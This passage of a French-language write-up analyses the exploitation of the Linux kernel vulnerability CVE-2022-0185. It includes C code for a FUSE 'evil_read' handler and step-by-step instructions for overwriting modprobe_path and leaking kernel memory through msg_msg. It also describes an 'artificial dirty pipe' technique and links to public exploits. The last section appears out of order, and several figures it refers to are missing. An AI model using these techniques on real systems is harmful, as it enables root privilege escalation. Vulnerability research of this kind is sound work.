int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
size_t len = 0x1000;
···
memcpy(buf, evil_buffer + offset, size);
// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写
return size;
}
1. `mmap` d'une page à `0x1337000` — page 1
2. Définir la longueur du message à 0x1010-0x30=0xfe0, de sorte que le message doive être divisé en deux segments.
3. `fsconfig` prépare le remplissage avant le débordement, en allouant un `kmalloc-4k`.
4. Utiliser le système de fichiers fuse enregistré précédemment pour `mmap` une page à `0x1338000` — page 2.
5. Envoyer le message, de longueur 0xfe0, ce qui alloue un `kmalloc-4k` et un `kmalloc-32`. Le message commence à la fin de la page 1. À ce moment, à l'intérieur de `msgsnd`, **lorsque la fonction `copy_from_user` copie le message de l'espace utilisateur vers l'espace noyau et que la copie atteint la page 2, elle déclenche une page fault qui appelle la fonction `evil_read` du système de fichiers fuse de l'espace utilisateur**. Cette fonction est définie par nous : elle fournit au noyau le contenu que nous voulons écrire. De plus, elle attend que le processus décrit ci-dessous ait terminé son exécution avant de retourner.
6. À ce stade, lancer un nouveau processus. Le nouveau processus effectue l'opération de débordement : il déborde dans l'en-tête de message `msg_msg` suivant et écrase le pointeur `msg_msgseg * next` — qui pointe vers le deuxième segment du message — pour le faire pointer vers `modprobe_path`. Puis il envoie un signal de fin à la fonction `evil_read`.
7. `evil_read` retourne, ce qui achève l'écriture à une adresse arbitraire. `modprobe_path` est modifié en `"/tmp/w"`.

Schéma :

Puisque `modprobe_path` a été modifié, nous considérons que l'escalade de privilèges a réussi ; l'opération d'escalade suivante de l'exploit consiste à ajouter le bit suid à `/bin/bash`. Mais cela n'a plus d'importance.

### [Nouveau] Analyse de l'exploit (version universelle à dirty pipe artificiel)
Source : [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)
L'idée principale vient de la découverte, après la divulgation de CVE-2022-0847 (Dirty Pipe), que pipe et splice ont le mécanisme suivant :
1. Un pipe est composé de 16 pages cache. Chaque fois que des données sont écrites dans le pipe, il vérifie quelle page est en cours d'écriture ; si cette page n'est pas entièrement écrite, il tente de continuer l'écriture sur cette page. Mais toutes les pages ne permettent pas cette continuation, comme dans le cas ci-dessous.
2. splice permet de transférer des fichiers dans un pipe, en remplaçant directement les pages cache du pipe par celles du fichier. Une telle page cache de fichier ainsi remplacée n'autorise pas le pipe à poursuivre l'écriture.
3. Après la version 5.8, `pipe_buffer->flags` est utilisé pour déterminer si la page autorise la poursuite de l'écriture. Avant la version 5.8, on vérifie si `pipe_buffer->ops` est `anon_pipe_buf_ops` pour savoir si l'écriture peut continuer.
La cause du bug Dirty Pipe est donc que `pipe_buffer->flags` n'est pas initialisé, ce qui permet de continuer à écrire sur la page cache du fichier transférée par splice. Bien que cela ait été corrigé, réfléchissons : pouvons-nous créer un « dirty pipe artificiel » en falsifiant les flags ? La réponse est oui. Il faut savoir que Dirty Pipe est une vulnérabilité dont l'exploitation ne dépend d'aucune fuite d'adresse, et que `pipe_buffer` est une structure victime couramment utilisée dans l'exploitation de vulnérabilités noyau ; falsifier ses flags ou ses ops est un jeu d'enfant. Voici l'idée pour implémenter un exploit universel via un dirty pipe artificiel :
On fait d'abord un spray de plusieurs files de messages, chacune contenant un `msg_msg` de 0x1400, de sorte que le msg soit divisé en deux segments : un de 0x1000 et un de 0x4000. Ensuite, on utilise l'écriture hors limites pour modifier le `m_ts` du segment de message principal à 0x1800 :

Ainsi, en trouvant le **msgid capable de lire avec succès une longueur de 0x1800**, on peut déterminer quelle file a vu son `msg_msg` débordé ; il faut aussi vérifier par la lecture hors limites que ce qui suit est le segment 2 (sec2) d'un autre message. Ensuite, on libère toutes les autres files de messages :

Puis on fait un spray de plusieurs files de messages, chacune contenant 16 (ou plusieurs) `msg_msg` de 0x400. Dans le cas idéal, un message d'une certaine file occupera le slab 0x400 libéré indiqué en pointillés sur la figure ci-dessus, formant la disposition suivante : le 5e msg de la file X est alloué dans ce slab :

Ensuite, via la lecture hors limites de msg1, on obtient la valeur prev de msg5, c'est-à-dire l'adresse de msg4. Grâce au contenu que nous avons disposé dans le msg, on peut déterminer le numéro de file X et que le msg est le 5e de la file.
Ensuite, on libère msg6 et tous les msg qui suivent msg6, puis on ajoute un nouveau message à la file X ; le nouveau message sera toujours placé après msg5, c'est-à-dire le nouveau msg6, newmsg6. À l'intérieur de newmsg6 (à une position dont l'adresse ne se termine pas par 0x00), on dispose une fausse en-tête de msg, fake head, qui pointe vers msg4, formant la configuration suivante :

Puis on refait une lecture hors limites et on enregistre l'adresse de la fake head dans newmsg6, qui est la valeur de msg5->next lue hors limites plus le décalage que nous avons disposé :

Puis rebelote : on refait une écriture hors limites ; cette fois, on écrase le pointeur next de l'en-tête du msg pour qu'il pointe vers la fakeHead dans newmsg6, dont l'adresse vient d'être obtenue :

On libère directement msg4 via msgX, puis on fait un spray de `sk_buff` pour occuper ce msg4 libéré, en forgeant next et prev pour qu'ils pointent vers lui-même (l'adresse étant déjà connue), afin que le second free ultérieur contourne l'unlink du msg :

Ensuite, on libère une nouvelle fois msg4 via la file newmsg1, puis on l'occupe à nouveau avec un pipe_buffer, de sorte que `sk_buff` et pipe_buffer occupent la même zone, formant la situation suivante :

Pour la suite, il suffit de se référer directement à la seconde moitié de l'« [Équation de la victoire](https://blog.csdn.net/Breeze_CAT/article/details/124887764) ». Exploit : https://github.com/veritas501/CVE-2022-0185-PipeVersion

## Techniques de débogage
Symboles associés :```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv
ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path
Point d'arrêt conditionnel``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig
## Références
github:[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)
writeup:https://www.willsroot.io/2022/01/cve-2022-0185.html
veritas501: [Analyse et exploitation de CVE-2022-0185, et réflexions et pratiques sur les nouvelles primitives pipe](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)
",="Adresse de début de page et fin de page :

On remplit encore 21 caractères, soit 23 caractères avec ",=", et c'est ici que le débordement se produit. Comme on avait rempli jusqu'à 4095, le débordement effectif est de 22 caractères, soit 0x16. Mais dans des conditions normales, ce débordement affecte de la mémoire qui n'a pas encore été utilisée (allouée).

On continue avec msgsnd pour allouer la structure msg_msg (qui sera divisée en deux segments). Comme la longueur du premier segment msg est de kmalloc-4k, il y a de fortes chances qu'elle soit allouée juste après legacy_data, recouvrant ainsi la partie qui vient de déborder, mais cela n'a pas d'importance.

On continue d'appeler fsconfig pour provoquer le débordement ; c'est pourquoi le débordement est effectué en deux fois. Le but du débordement de 22 caractères précédent était simplement de déplacer le pointeur juste avant le champ m_ts (représentant la taille de msg) dans l'en-tête msg_msg. À ce moment, lors du nouveau débordement, comme les deux caractères ",=" sont ajoutés au début, ils peuvent exactement recouvrir m_ts dans l'en-tête msg_msg et ainsi modifier la taille de msg.

On spray une multitude de structures seq_operations ; comme elles appartiennent à kmalloc-32, il y a de grandes chances qu'elles se placent juste après le second segment du message.

On reçoit alors les messages. L'un d'eux a vu sa taille modifiée par notre débordement, donc sa lecture déclenche une lecture hors limites et lit les structures seq_operations situées après, ce qui permet de réaliser la fuite d'informations.